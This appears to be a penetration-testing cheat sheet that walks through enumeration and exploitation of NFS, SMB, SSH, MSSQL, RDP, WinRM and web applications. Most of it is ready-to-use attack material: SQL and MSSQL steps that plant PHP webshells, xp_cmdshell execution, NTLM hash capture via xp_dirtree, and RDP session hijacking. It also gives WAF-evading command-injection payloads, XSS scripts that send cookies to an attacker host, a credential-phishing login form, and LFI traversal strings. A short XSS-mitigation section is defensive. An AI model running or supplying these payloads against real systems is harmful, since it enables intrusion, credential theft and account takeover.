-- Write Files SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv" -- For 4 columns SELECT "","<?php system($_REQUEST[0]); ?>","","" INTO OUTFILE '/var/www/html/webshell.php';curl -o- 'http://<TARGET>/webshell.php?0=<COMMAND>'NFS
Similiar to SMB.
TCP/UDP 111: NFSv2/v3- and various dynamic ports using
rpcbindandportmapper
- and various dynamic ports using
TCP 2049: NFSv4- Server Config:
/etc/exports
Dangerous Options
Dangerous Option Description rwRead and write permissions. insecurePorts above 1024 will be used. nohideIf another file system was mounted below an exported directory, this directory is exported by its own exports entry. no_root_squashAll files created by root are kept with the UID/GID 0. # Show shared dirs df exportfs -sv # Show NFS Shares on server showmount -e <TARGET> # Mount NFS mkdir target-NFS sudo mount -t nfs -o nolock <TARGET>:/ ./target-NFS sudo umount ./target-NFS # Enumerate sudo nmap -n -Pn -p111,2049 -sV -sC <TARGET> sudo nmap -n -Pn -p111,2049 -sV --script 'nfs*' <TARGET>Nix: R-services
TCP 512/513/514:rexecd,rlogind,rshdUDP 513:rwhod- https://en.wikipedia.org/wiki/Berkeley_r-commands
- Server Config
/etc/hosts.equiv: allowed hosts forrlogin~/{.rlogin, .rhosts}: allowed hosts
Suite of obsolete remote management tools. All communication is unencrypted including its authentication.
# Enum via nmap sudo nmap -sV -p 512,513,514 <TARGET> # Remote copy; does not confirm remote overwriting of files rcp # Remote shell rsh # Remote command rexec # Remote login (telnet-like) rlogin <TARGET> -l <USER> # Show authenticated users rwho rusers -al <TARGET>Nix: Rsync
TCP 873: normal- Pentesting: https://archive.ph/flPtZ
- Rsync via
ssh: https://phoenixnap.com/kb/how-to-rsync-over-ssh
# Enum via nmap sudo nmap -sV -p873 <TARGET> # Enum dir rsync -av --list-only rsync://<TARGET>/<DIR> # Download dir optionally via SSH rsync -av -e "ssh -p <SSH_PORT>" rsync://<TARGET>/<DIR>Nix: SSH
TCP 22: normal- Server Config:
/etc/ssh/sshd_config- https://www.ssh.com/academy/ssh/sshd_config
- Versions:
- v1: obselete and vuln to MITM
- v2: modern
Dangerous Settings
Setting Description PasswordAuthentication yesAllows password-based authentication. PermitEmptyPasswords yesAllows the use of empty passwords. PermitRootLogin yesAllows to log in as the root user. Protocol 1Uses an outdated version of encryption. X11Forwarding yesAllows X11 forwarding for GUI applications. AllowTcpForwarding yesAllows forwarding of TCP ports. PermitTunnelAllows tunneling. DebianBanner yesDisplays a specific banner when logging in. # Audit sercurity of SSH server # https://github.com/jtesta/ssh-audit git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit ./ssh-audit.py -l warn <TARGET> | tee ssh_audit.txt # Specify auth-method: password ssh -v -o PreferredAuthentications=password <USER>@<TARGET> sshpass -p '<PASSWORD>' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 <USER>@<TARGET> # Force auth-method: privkey ssh -i <PRIVATE_KEY> <USER>@<TARGET>Oracle TNS
TCP 1521: normal- Server Config:
$ORACLE_HOME/network/admin/tnsnames.ora: names to addrs$ORACLE_HOME/network/admin/listener.ora: listener behavior$ORACLE_HOME/sqldeveloper: DB protection blacklist- Default Password:
DBSNMP/dbsnmp
- https://docs.oracle.com/cd/E11882_01/server.112/e41085/sqlqraa001.htm#SQLQR985
Oracle’s version of SQL.
# SID Brute-forcing via nmap sudo nmap -p1521 -sV --script oracle-sid-brute <TARGET> ### ODAT # TNS Setup for Enumeration wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip sudo mkdir -p /opt/oracle sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH export PATH=$LD_LIBRARY_PATH:$PATH source ~/.bashrc cd ~ git clone https://github.com/quentinhardy/odat.git cd odat/ pip install --break-system-packages python-libnmap git submodule init git submodule update pip3 install --break-system-packages cx_Oracle sudo apt install -y python3-scapy sudo pip3 install --root-user-action colorlog termcolor passlib python-libnmap sudo apt install -y build-essential libgmp-dev pip3 install --break-system-packages pycryptodome # Enumeration odat.py all -d <SID> -s <TARGET> ### Connect # Install: https://askubuntu.com/a/207145 sqlplus <USER>/<PASSWORD>@<TARGET>/<SID> sqlplus <USER>/<PASSWORD>@<TARGET>/<SID> as sysdba # https://stackoverflow.com/questions/27717312/sqlplus-error-while-loading-shared-libraries-libsqlplus-so-cannot-open-shared # If you come across the following error sqlplus: # error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory, sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf" ; sudo ldconfig # SQL Commands select table_name from all_tables ; select * from user_role_privs ; select name, password from sys.user$ ; ### Upload webshell (if webserver) # Linux /var/www/html # Windows C:\inetpub\wwwroot echo "Oracle File Upload Test" > testing.txt odat.py utlfile -d <SID> -U <USER> -P <PASSWORD> -s <TARGET> --sysdba --putFile <UPLOAD_DIR> testing.txt ./testing curl -Lo- http://<TARGET>/testing.txtSMB/CIFS/RPC
TCP 135: RPC Endpoint Mapper (EPM)UDP 137, UDP 138, TPC 139: legacy (CIFS/SMB1)TCP 445: RPC/(SMB2/3)- Shares:
C$(drive)ADMIN$(Windows drive)IPC$(RPC)PRINT$
See more about… SMB
Source: Docs > 2 - Pre-Engagement > checklist#smb
SMB
- 1. Anonymous Access & Share Listing (Attempt a null session via
smbclient -L <IP> -Norcrackmapexec smb <IP> --sharesto list shares without credentials) - 2. Comprehensive Enumeration (Run
enum4linux-ng -A <IP>to automatically dump users, groups, OS info, and password policies) - 3. Share Content Inspection (Mount accessible shares or use
smbclientto browse directories for sensitive files, scripts, or backups) - 4. Security Posture Check (Use
nmap --script=smb-security-modeto verify if SMB signing is required, which is critical for preventing relay attacks)
Dangerous Settings
Setting Description browseable = yesAllow listing available shares in the current share? read only = noForbid the creation and modification of files? writable = yesAllow users to create and modify files? guest ok = yesAllow connecting to the service without using a password? enable privileges = yesHonor privileges assigned to specific SID? create mask = 0777What permissions must be assigned to the newly created files? directory mask = 0777What permissions must be assigned to the newly created directories? logon script = script.shWhat script needs to be executed on the user’s login? magic script = script.shWhich script should be executed when the script gets closed? magic output = script.outWhere the output of the magic script needs to be stored? # ANON: List available SMB shares smbclient -U "" -N --list //<TARGET>/ smbclient -U "guest" -N --list //<TARGET>/ # ANON: Connect to an SMB share smbclient -U "" -N //<TARGET>/<SHARE> smbclient -U "guest" -N //<TARGET>/<SHARE> # Connect to SMB share smbclient --user=<DOMAIN>/<USERNAME> --password='<PASSWORD>' //<TARGET>/<SHARE> ls # List files more # read file get <FILE> # Download file recurse # Toggle directory recursion # Download recursion recurse on prompt off mget * # Execute local commands (outside of session) !<COMMAND> --- # https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol # badPwdCount: https://learn.microsoft.com/en-us/windows/win32/adschema/a-badpwdcount nxc smb <TARGET> -u '' -p '' --users --groups --shares --pass-pol # User and Groups netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --users netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --groups # List shares netexec smb <TARGET> -u "<USERNAME>" -p "<PASSWORD>" --shares # Recursively list files smbmap -r --depth 3 -r <SHARE> -u <USERNAME> -p <PASSWORD> -H <IP> # Directories only smbmap -R <SHARE> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> -H <IP> --dir-only --- # https://www.willhackforsushi.com/sec504/SMB-Access-from-Linux.pdf # https://www.samba.org/samba/docs/current/man-html/rpcclient.1.html # RPC rpcclient -U '<USER>%<PASSWORD' <TARGET> querydominfo # Provides domain, server, and user info enumdomusers # Enumerates all domain users srvinfo # Server information enumdomains # Enumerate all domains netshareenumall # Enumerates available shares netsharegetinfo <SHARE> # Info about a specific share queryuser <RID> # User info --- # TODO: move these to a more appropriate/relevant section # Brute-Forcing RIDs via RPC for i in $(seq 500 1100);do rpcclient -N -U "" <TARGET> -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done # Same with other tools samrdump.py <TARGET> smbmap -H <TARGET>enum4linux-ng
enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:
Tool Ports nmblookup 137/UDP nbtstat 137/UDP net 139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535 rpcclient 135/TCP smbclient 445/TCP # Enumeration SMB/NetBIOS enum4linux-ng -oA enum4linux-ng-log -A <TARGET>SMTP/ESMTP
TCP 25: unencryptedTCP 465/587/2525: encrypted- Security:
- DKIM: https://dkim.org/
- Sender Policy Framework (SPF): https://dmarcian.com/what-is-spf/
- DMARC: https://dmarc.org/
- https://serversmtp.com/smtp-error/
Dangerous Settings
Option Description mynetworks = 0.0.0.0/0With this setting, this SMTP server can send fake emails and thus initialize communication between multiple parties. Another attack possibility would be to spoof the email and read it. # CAREFUL! Open relay check sudo nmap -p25,465,587,2525 --script smtp-open-relay <TARGET> # User enum # https://github.com/cytopia/smtp-user-enum#how-does-vrfy-work # TRY: -M VRFY wget https://raw.githubusercontent.com/cytopia/smtp-user-enum/refs/heads/master/smtp-user-enum python3 ./smtp-user-enum --mode VRFY --file /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt --domain <DOMAIN> <TARGET> 25 # Manual enumeration telnet <TARGET> 25 EHLO <HOSTNAME> VRFY <USER> # 250 success; 252 maybe/not; 550 failure EXPNSNMP
UDP 161: normalUDP 162: “trap” or alert- OIDs: https://www.alvestrand.no/objectid/top.html
- Versions:
- v1/v2c: unencrypted
- v3: encryption via PSK
/etc/snmp/snmpd.conf
Management Information Base (MIB) is a text file of Object Identifier (OID) s, which provide addresses to access device info, in the Abstract Syntax Notation One (ASN.1) based ASCII text format. Community Strings are sort of “passwords” to manage the access level.
Dangerous Settings
Settings Description rwuser noauthProvides access to the full OID tree without authentication. rwcommunity <COMMUNITY_STRING> <IPv4_ADDR>Provides access to the full OID tree regardless of where the requests were sent from. rwcommunity6 <COMMUNITY_STRING> <IPv6_ADDR>Same access as with rwcommunitywith the difference of using IPv6.# Enum via nmap sudo nmap -n -Pn -sU -p161 -sV --script 'snmp*' --reason -oA nmap_snmp_scan <TARGET> ### Brute-force names of Community Strings # - Default Strings: "public" (Read-Only) and "private" (Read/Write) are common onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt <TARGET> // probably "public" ### Brute-force OIDs and info # -v 1,2c,3 snmpwalk -v <VERSION> -c <COMMUNITY_STRING> <TARGET> .1 ### Brute-force OIDs # -2 : use v2 # braa usu. uses Version 1 braa <COMMUNITY_STRING>@<TARGET>:.1.* braa <COMMUNITY_STRING>@<TARGET>:.1.3.6.*Win: MSSQL
TCP/UDP 1433: normalTCP 2433: hidden mode- default system schemas/databases:
master- keeps the information for an instance of SQL Server.msdb- used by SQL Server Agent.model- a template database copied for each new database.resource- a read-only database that keeps system objects visible in every database on the server in sys schema.tempdb- keeps temporary objects for SQL queries.
xp_cmdshell:xp_cmdshellis a powerful feature and disabled by default. It can be enabled and disabled by using the Policy-Based Management or by executingsp_configure- The Windows process spawned by
xp_cmdshellhas the same security rights as the SQL Server service account xp_cmdshelloperates synchronously. Control is not returned to the caller until the command-shell command is completed
Microsoft’s closed-source version of SQL.
- https://www.microsoft.com/en-us/sql-server/sql-server-2019
- https://learn.microsoft.com/en-us/ssms/install/install?view=sql-server-ver15
- https://learn.microsoft.com/en-us/sql/relational-databases/databases/system-databases?view=sql-server-ver15
- https://learn.microsoft.com/en-us/sql/tools/configuration-manager/named-pipes-properties?view=sql-server-ver15
Dangerous Settings
- MSSQL clients not using encryption to connect to the MSSQL server
- The use of self-signed certificates when encryption is being used. It is possible to spoof self-signed certificates
- The use of named pipes
- Weak & default
sacredentials. Admins may forget to disable this account
# Enumerate via nmap sudo nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=<USER>,mssql.password=<PASSWORD>,mssql.instance-name=MSSQLSERVER -sV -p 1433 <TARGET> # Enumerate via MSF use auxiliary/scanner/mssql/mssql_ping set RHOSTS <TARGET> run ### Login via Windows auth impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<TARGET> impacket-mssqlclient <USER>:<PASSWORD>@<TARGET> # Survey SELECT @@version; SELECT user_name(); SELECT system_user; SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1+ is admin # Users SELECT name FROM master..syslogins; # Databases SELECT name FROM master..sysdatabases; # show tables ; USE <DATABASE> ; SELECT name FROM sys.tables;Read Files
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS ContentsWrite Files (to achieve command execution)
sp_configure 'show advanced options', 1 RECONFIGURE sp_configure 'Ole Automation Procedures', 1 RECONFIGURE DECLARE @OLE INT DECLARE @FileID INT EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1 EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>' EXECUTE sp_OADestroy @FileID EXECUTE sp_OADestroy @OLEEnable xp_cmdshell
enable_xp_cmdshell -- These are the same as the above single command EXECUTE sp_configure 'show advanced options', 1 RECONFIGURE EXECUTE sp_configure 'xp_cmdshell', 1 RECONFIGURE xp_cmdshell <COMMAND> -- or run linked server command EXECUTE('xp_cmdshell ''<DOS_CMD>''') AT [<LINKED_SERVER>]Impersonate User
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE' ; GO -- Impersonating the SA User (admin) USE master EXECUTE AS LOGIN = 'sa' -- Verify SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER('sysadmin') -- 0 is NOT adminLinked Servers
SELECT srvname, isremote FROM sysservers EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [<TARGET>\SQLEXPRESS] -- Capture NTLM Hash sudo responder -I <INTERFACE> # XP_DIRTREE Hash Stealing EXEC master..xp_dirtree '\\<ATTACKER>\share' # XP_SUBDIRS Hash Stealing EXEC master..xp_subdirs '\\<ATTACKER>\share'Win: RDP
TCP 3389: normalUDP 3389: automatic w/ RDP 8.0+ for performance (frames, audio, etc.)- https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tscon
Also called “Terminal Services”.
RDP via Pass the Hash
Source: Docs > 6 - Post-Exploitation > pass-the-hash#rdp-restricted-admin-mode
RDP (Restricted Admin Mode)
#Enable Restricted Admin on Target (Requires Admin rights) reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f # Now RDP with Hash xfreerdp3 /v:<TARGET> /u:<USER> /pth:<PASS_HASH> /cert:ignore +clipboard /dynamic-resolution /drive:/usr/share/windows-resources/mimikatz/x64,share# Enum via nmap sudo nmap -sV -sC --script 'rdp*' -p3389 <TARGET> # Enum RDP security posture sudo cpan sudo cpan Encoding::BER git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check ./rdp-sec-check.pl <TARGET> # Connects to RDP and mounts mimikatz share mkdir loot; xfreerdp3 +multitransport /clipboard /dynamic-resolution /cert:ignore /v:<TARGET> /u:<USER> /p:'<PASSWORD>' /drive:'/usr/share/windows-resources/mimikatz/x64',share /drive:"$HOME/loot",loot # Impersonate other logged-in user # NOTE: needs SYSTEM query.exe user tscon.exe <SESSION_ID> /dest:<SESSION_NAME> # Local Admin => SYSTEM sc.exe create sessionhijack binpath= "cmd.exe /k tscon.exe <SESSION_ID> /dest:<SESSION_NAME>" net.exe start sessionhijack # Enable RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=YesWin: WinRM
TCP 5985/5986: via HTTP/HTTPS respectively
# Enum via nmap sudo nmap --disable-arp-ping -n -Pn -sV -sC -p5985,5986 <TARGET>evil-winrm -u <USER> -p <PASSWORD> -i <HOST> evil-winrm -u <USER> -H <PASS_HASH> -i <HOST>PowerShell Remoting
Requires valid Kerberos Ticket (PtT) or active NTLM Injection (PtH) in the current session.
Ports
- TCP/5985 (HTTP)
- TCP/5986 (HTTPS)
Requirements
- Administrative permissions OR
- Member of “Remote Management Users” OR
- Explicit PSSession configuration
# PowerShell $password = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force $cred = new-object System.Management.Automation.PSCredential ("<DOMAIN>\<USER>", $password) Enter-PSSession -Credential $cred -ComputerName <TARGET_HOSTNAME>Win: WMI
TCP 135: first, initializationTCP <RHP>: afterwards, comms
# Run interactive shell impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET> # Run remote command impacket-wmiexec <USER>:"<PASSWORD>"@<TARGET> "<COMMAND>"5 - Exploitation
cc+++ title = “Command Injection” +++
- https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/
- Without Space: https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#bypass-without-space
- Brace Expansion: https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#bypass-with-brace-expansion
- Bypass Variable Expression: https://swisskyrepo.github.io/PayloadsAllTheThings/Command%20Injection/#bypass-with-variable-expansion
Overview
User-controlled input that can lead to queries or code execution on the target server (OS, SQL, XSS, etc.). Front-end and back-end often use different validation, which can create vulnerabilities.
NOTE: Try URL encoding, newlines, tabs instead of spaces, and other encoding when characters are blocked.
Injection Types
Injection Type Operators (Raw) Operators (URL Encoded) SQL Injection ',;--/* */%27%2C%3B%2D%2D%2F%2A%20%2A%2FCommand Injection ;&&%3B%26%26LDAP Injection *()&|%2A%28%29%26%7CXPath Injection 'orandnotsubstringconcatcount%27orandnotsubstringconcatcountOS Command Injection ;&|%3B%26%7CCode Injection ';--/* */$()${}#{}%{}^%27%3B%2D%2D%2F%2A%20%2A%2F%24%28%29%24%7B%7D%23%7B%7D%25%7B%7D%5EDirectory/Path Traversal ../..\\%2E%2E%2F%2E%2E%5C%00Object Injection ;&|%3B%26%7CXQuery Injection ';--/* */%27%3B%2D%2D%2F%2A%20%2A%2FShellcode Injection \x\u%5Cx%5Cu%u%nHeader Injection \n\r\n\t%0A%0D%0A%09Space %20Workarounds
When a crucial character is blocked, reference it from the environment (variable) or use alternate syntax. Use
man ascii(Linux) orGet-ChildItem Env:(PowerShell) to find usable characters.Linux
Curly-bracket expansion and character shifting:
`\`is 92 (ASCII),`[`is 91.Blocked Bypass (example) whitespace ${IFS}/${PATH:0:1}or$(tr '!-}' '"-~'<<<[);${LS_COLORS:10:1}- Commands: Mix quotes into the name:
w"h"o"am"i,who$@ami,w\ho\am\i. - Case:
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")or$(a="WhOaMi";printf %s "${a,,}"). - Reversals:
$(rev<<<'imaohw'). - Encoded:
echo -n 'cat /etc/passwd | grep 33' | base64βbash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==). - Use
<<<instead of|when pipes are blocked.
Windows
Blocked Bypass (example) whitespace space in %VAR%or`/%HOMEPATH:~6,-11%or$env:HOMEPATH[0];%COMSPEC:~4,1%or newline in variable- Commands: Insert
^:who^ami. Try case variants:WHOAMI,wHoaMi. - Reversals:
iex "$('imaohw'[-1..-20] -join '')". - Encoded (Unicode Base64):
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('whoami'))βiex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))".
Tools
Useful against basic WAFs and static regex in web-based command injection. Modern EDRs often detect these via telemetry.
Linux: Bashfuscator
Generates heavily obfuscated bash. Tune down for web use (small payloads). Evades WAFs by breaking strings into arrays and reconstructing at runtime.
# 1. Install (requires specific setuptools) git clone https://github.com/Bashfuscator/Bashfuscator && cd Bashfuscator pip3 install setuptools==65 python3 setup.py install --user # 2. Generate a short payload (-s 1 -t 1 --layers 1) cd bashfuscator/bin/ ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 # 3. Test locally before sending bash -c '<PASTE_OUTPUT>'Windows: DOSfuscation
Interactive PowerShell framework for obfuscating
cmd.exepayloads. Uses env var substring extraction (e.g.%TEMP:~-3,-2%) so keywords donβt appear in the HTTP request.# 1. Install & load git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git cd Invoke-DOSfuscation Import-Module .\Invoke-DOSfuscation.psd1 Invoke-DOSfuscation # 2. Interactive: set command then encoding SET COMMAND type C:\Users\Public\flag.txt encoding 1Cross-site scripting (XSS)
- https://owasp.org/www-community/attacks/xss/
- https://swisskyrepo.github.io/PayloadsAllTheThings/XSS%20Injection/#methodology
- https://github.com/payload-box/xss-payload-list/blob/main/Cheatsheet.md#xss-cheatsheet
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. There are two sides: source (frontend) and sink (backend).
REMEMBER: Viewing the Page Source (CTRL+U) or Inspecting Element (F12) are two separates things: respectively, one is the HTTP response (static site, scripts pre-execution) and the other is the final website (dynamically loaded, scripts post-execution)
Type Description Stored XSS(Persistent)Stored in the backend… The most critical type of XSS, which occurs when user input is stored on the back-end database and then displayed upon retrieval (e.g. posts or comments) Reflected XSS(Non-Persistent)Only passes through the backend… Occurs when user input is displayed on the page after being processed by the backend server, but without being stored (e.g. search result or error message) DOM-based XSSNever touches the backend Non-Persistent XSS type that occurs when user input is directly shown in the browser and is completely processed on the client-side, without reaching the back-end server (e.g., through client-side HTTP parameters or anchor tags) Breaking Context
Manual Payloads
Sometimes, certain payloads are not allowed
<script>alert(window.origin)</script> <img src="" onerror=alert(window.origin)> <svg/onload=alert(window.origin)> // Polyglot Breaker javascript:"/*\"/*`/*' /*</title></textarea>--></noscript></style></xmp>"></a><img src=x onerror=alert(window.origin)>// --- # Setup listener on ATTACKER_IP sudo python3 -m http.server 80 // Remote script <script src="http://<ATTACKER_IP>/script.js"></script> // Same idea but enumerate vuln fields <script src="http://<ATTACKER_IP>/username"></script> // Exfil cookies document.location='http://<ATTACKER_IP>/index.php?c='+document.cookie; new Image().src='http://<ATTACKER_IP>/index.php?c='+document.cookie;Login Form Injection
<h3>Please login to continue</h3> <form action=http://<ATTACKER_IP> > <input type="username" name="username" placeholder="Username"> <input type="password" name="password" placeholder="Password"> <input type="submit" name="submit" value="Login"> </form>Blind XSS
Manual
Generally, to enumerate Blind XSS vulns, start by setting a server to receive a callback for a particular HTML field that is being tested.
mkdir /tmp/tmpserver && cd /tmp/tmpserver cat << 'EOF' > script.js new Image().src='http://10.10.14.175:8080/index.php?c=' + document.cookie; EOF php -S 0.0.0.0:8080NOTE: usually, password fields are hashed and email fields are validated client/server side, so they are harder or impossible
# MODIFY PAYLOAD AS NEEDED PAYLOAD='"><script src=http://<ATTACKER_IP>:8080/script.js></script>' # Encode it ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))") # Hack it! curl "http://<TARGET>/<PAGE>?\ Name=${ENCODED}\ &Email=${ENCODED}\ &Phone+Number=${ENCODED}\ &Product=${ENCODED}\ &os=${ENCODED}\ &browser=${ENCODED}\ &message=${ENCODED}\ &ttype=${ENCODED}" \ -H 'X-Requested-With: XMLHttpRequest'Check the PHP server for the response with the cookie. Then add the cookie to the browser and visit the appropriate login page:
- Click
Shift+F9to show theStoragebar - Click on the
+button on the top right corner - Add
Nameis the part before=and theValueis the part after=from the stolen cookie
Dalfox
NOTE: this is very dangerous and can break servers easily
# this installs the program at `~/go/bin/dalfox` go install github.com/hahwul/dalfox/v2@latest# HTTP GET dalfox url 'http://<TARGET>/?<PARAM>=<VALUE>' # HTTP POST (can include multiple params for -d) # COOKIES: -C 'PHPSESSID=<YOUR_COOKIE>' dalfox url 'http://<TARGET>/' -X POST -d '<PARAM>=<VALUE>'Blind
# Fuzz web page fields dalfox url "http://<TARGET_IP>/<PAGE>" \ --skip-mining-dom \ --blind "http://<ATTACKER_IP>:8080" \ -X POST \ -d "<PARAM>=<VALUE>" --header "X-Requested-With: XMLHttpRequest" \ --blind "http://10.10.14.175:8080" \ --delay 500XSS Prevention & Mitigation
XSS defense requires a Defense in Depth approach. Never rely solely on Frontend validation (it is easily bypassed).
Frontend
- Input Validation: Use Regex to enforce strict formats (e.g., Email, Date).
- Sanitization: Strip dangerous tags before processing.
- Library:
DOMPurify(Standard).DOMPurify.sanitize(dirtyInput).
- Library:
- Safe Sinks: Avoid writing raw HTML.
- UNSAFE:
innerHTML,outerHTML,document.write(), jQueryappend(),html(). - SAFE:
innerText,textContent.
- UNSAFE:
Backend
- Input Validation: Reject input that doesn’t match expected types (e.g., PHP
filter_var). - Input Sanitization: Escape special characters before storage (e.g., PHP
addslashes, NodeDOMPurify). - Output Encoding (CRITICAL): Convert special characters into HTML Entities (e.g.,
<β<) before rendering.- PHP:
htmlspecialchars($input, ENT_QUOTES, 'UTF-8') - NodeJS:
html-entitieslibrary.
- PHP:
Server Configuration
- Content Security Policy (CSP): The most powerful header against XSS.
Content-Security-Policy: script-src 'self'(Only allow scripts from the same origin, blocks inline JS).
- Cookie Flags:
HttpOnly: Prevents JavaScript from readingdocument.cookie.Secure: Ensures cookies are only sent over HTTPS.
- Headers:
X-Content-Type-Options: nosniff(Prevents MIME sniffing).
- WAF: Web Application Firewall (ModSecurity, AWS WAF) to block common payloads.
File Inclusion
File Inclusion (FI) allows an attacker to include a file, usually exploiting a “dynamic file inclusion” mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.
There are 2 types, which depend on the underlying vulnerable function:
Code Examples of FI
These examples use the idea of a webpage in multiple languages that allows the user to dynamically load webpage in the selected language.
PHP
// Selector if (isset($_GET['language'])) { include($_GET['language']); }NodeJS
// Selector if(req.query.language) { fs.readFile(path.join(__dirname, req.query.language), function (err, data) { res.write(data); }); } // about.html app.get("/about/:language", function(req, res) { res.render(`/${req.params.language}/about.html`); });Java
// Selector <c:if test="${not empty param.language}"> <jsp:include file="<%= request.getParameter('language') %>" /> </c:if> // about.html <c:import url= "<%= request.getParameter('language') %>"/>.NET
// Selector @if (!string.IsNullOrEmpty(HttpContext.Request.Query['language'])) { <% Response.WriteFile("<% HttpContext.Request.Query['language'] %>"); %> } // about.html @Html.Partial(HttpContext.Request.Query['language'])Can Function X Read/Execute?
Function Read Content Execute Remote URL PHP include()/include_once()β β β require()/require_once()β β β file_get_contents()β β β fopen()/file()β β β NodeJS fs.readFile()β β β fs.sendFile()β β β res.render()β β β Java includeβ β β importβ β β .NET @Html.Partial()β β β @Html.RemotePartial()β β β Response.WriteFile()β β β includeβ β β Checking Vulnerability
Due to file permissions, these files should almost always exist and be accessible if a target is vulnerable to LFI:
- Linux:
/etc/passwd - Windows:
C:\Windows\boot.ini
Generally, they will be 3-5 folder depths down from the root filesystem:
# without '/' ../../../../etc/passwd # with '/' /../../../../etc/passwd # basic filter '../' bypass ....//....//....//etc/passwd ..././ ....\/ # URL encoding: must encode entire string %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64 # regex might require a specific string or extension for a folder or extension # the extension part can limit the files accessible languages/.*php # overflow character limit to evade extension filter # ONLY: PHP <5.3 versions echo -n "non_existing_directory/../../../etc/passwd/" && for i in {1..2048}; do echo -n "./"; done # null byte # ONLY: PHP <5.5 versions ../../../../etc/passwd%00.phpURL Encoding
# Total URL Encoding via Python echo -n '<LFI_STRING>' | python3 -c "import sys; print(''.join('%{0:02x}'.format(ord(c)) for c in sys.stdin.read()))"Finding Files
Typically, the backend server will not have debug messages enabled. In order to enumerate files (such as other
*.phporconfigfiles in the same directory), fuzzing the web server and keeping all HTTP responses (e.g. codes 301, 302, 403, etc.) can show that those files or locations exist AND could be accessible via LFI (but not normal HTTP requests)# Find *.php files that DO EXIST on the server ffuf -ic -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://<TARGET>/FUZZ.phpIf the found files can be accessed via LFI, but get executed instead of merely read, use a PHP filter like
base64to encode the file to read and prevent it from being executed:# NOTE: .php get appended to `resource` so "<FILE>" is really "<FILE>.php" http://<TARGET>/<PAGE>?<PARAMETER>=php://filter/read=convert.base64-encode/resource=<FILE> # View Page Source > Decode base64 echo '<BASE64> | base64 -d'Local File Inclusion
- Wrappers:
- Requires
allow_url_include = On: - Requires
extension=expect:
- Requires
Check Config
- Linux: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt
- Windows: https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/LFI/LFI-gracefulsecurity-windows.txt
# If the LFI is already know (e.g. via LFImap) this # can browse for all accessible config files ffuf -w <LFI_LIST>:FUZZ -u 'http://<TARGET>/<PAGE>?<PARAMETER>=<LFI>FUZZ' -fs 0 -vExecute Commands
If able, check that appropriate settings are enabled and the underlying function supports the command.
via
